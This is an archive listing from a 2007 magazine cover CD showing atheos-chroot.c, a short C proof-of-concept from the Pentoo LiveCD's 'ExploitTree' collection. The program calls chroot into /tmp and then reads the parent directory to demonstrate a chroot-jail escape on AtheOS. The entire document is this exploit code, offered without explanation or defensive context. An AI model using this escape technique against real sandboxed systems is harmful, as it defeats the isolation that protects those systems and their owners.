home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / atheos / atheos-chroot.c < prev   
C/C++ Source or Header  |  2005-02-12  |  339b  |  19 lines

  1. #include <stdio.h>
  2. #include <unistd.h>
  3. #include <dirent.h>
  4.  
  5. int main(void)
  6. {
  7.     register DIR *d;
  8.     register const struct dirent *e;
  9.  
  10.     if (chdir("/") || chroot("/tmp") || chdir("/") ||
  11.         (d = opendir("..")) == NULL) {
  12.         return 1;
  13.     }
  14.     while ((e = readdir(d)) != NULL) {
  15.         puts(e->d_name);
  16.     }
  17.     return 0;
  18. }
  19.